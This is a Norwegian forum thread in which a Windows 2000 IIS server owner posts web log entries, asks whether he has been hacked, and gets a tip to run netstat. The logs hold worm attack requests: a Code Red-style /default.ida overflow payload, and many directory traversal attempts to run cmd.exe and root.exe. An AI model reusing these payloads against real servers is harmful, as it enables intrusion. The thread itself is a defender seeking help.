Har pc'n min blitt hacket...?

[JarleW]

Kjører Windows 2000 Server med IIS Webserver.....

Som vanlig så tar jeg en kikk på logg'n når jeg kommer hjem fra jobb.

Igår så jeg dette :

 

#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status sc-bytes cs-bytes time-taken cs-host cs(User-Agent) cs(Referer)

2002-09-10 00:04:41 209.213.1.86 - 10.0.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090% u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090% u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078% u0000%u00=a 200 171 4039 1000 http://www.worm.com - -

2002-09-10 05:15:49 80.11.161.33 - 10.0.0.4 80 GET /scripts/root.exe /c+dir 404 4184 72 63 www - -

2002-09-10 05:15:49 80.11.161.33 - 10.0.0.4 80 GET /MSADC/root.exe /c+dir 403 4227 70 31 www - -

2002-09-10 05:15:49 80.11.161.33 - 10.0.0.4 80 GET /c/winnt/system32/cmd.exe /c+dir 404 4184 80 0 www - -

2002-09-10 05:15:49 80.11.161.33 - 10.0.0.4 80 GET /d/winnt/system32/cmd.exe /c+dir 404 4184 80 0 www - -

2002-09-10 05:15:50 80.11.161.33 - 10.0.0.4 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 0 96 0 www - -

2002-09-10 05:15:50 80.11.161.33 - 10.0.0.4 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 500 0 117 0 www - -

2002-09-10 05:15:50 80.11.161.33 - 10.0.0.4 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 4184 117 15 www - -

2002-09-10 05:15:50 80.11.161.33 - 10.0.0.4 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 403 4227 145 0 www - -

2002-09-10 05:15:51 80.11.161.33 - 10.0.0.4 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 500 0 97 0 www - -

2002-09-10 05:15:51 80.11.161.33 - 10.0.0.4 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 4184 97 0 www - -

2002-09-10 05:15:51 80.11.161.33 - 10.0.0.4 80 GET /winnt/system32/cmd.exe /c+dir 404 4184 97 0 www - -

2002-09-10 05:15:51 80.11.161.33 - 10.0.0.4 80 GET /winnt/system32/cmd.exe /c+dir 404 4184 97 0 www - -

2002-09-10 05:15:53 80.11.161.33 - 10.0.0.4 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 0 98 0 www - -

2002-09-10 05:15:53 80.11.161.33 - 10.0.0.4 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 0 96 0 www - -

2002-09-10 05:15:53 80.11.161.33 - 10.0.0.4 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 500 0 100 0 www - -

2002-09-10 05:15:53 80.11.161.33 - 10.0.0.4 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 500 0 96 0 www - -

 

Tok en tracert på IP'n hans. Havnet i Italia tror jeg det var....(eller var det Frankrike?)

Har tatt en virussjekk på serveren (med 2 forskjellige progs, men har ikke funnet no).

 

Tips ?

[Photons]

Kjør netstat -a i command-vinduet, og se om du ser noen unormale, åpne porter!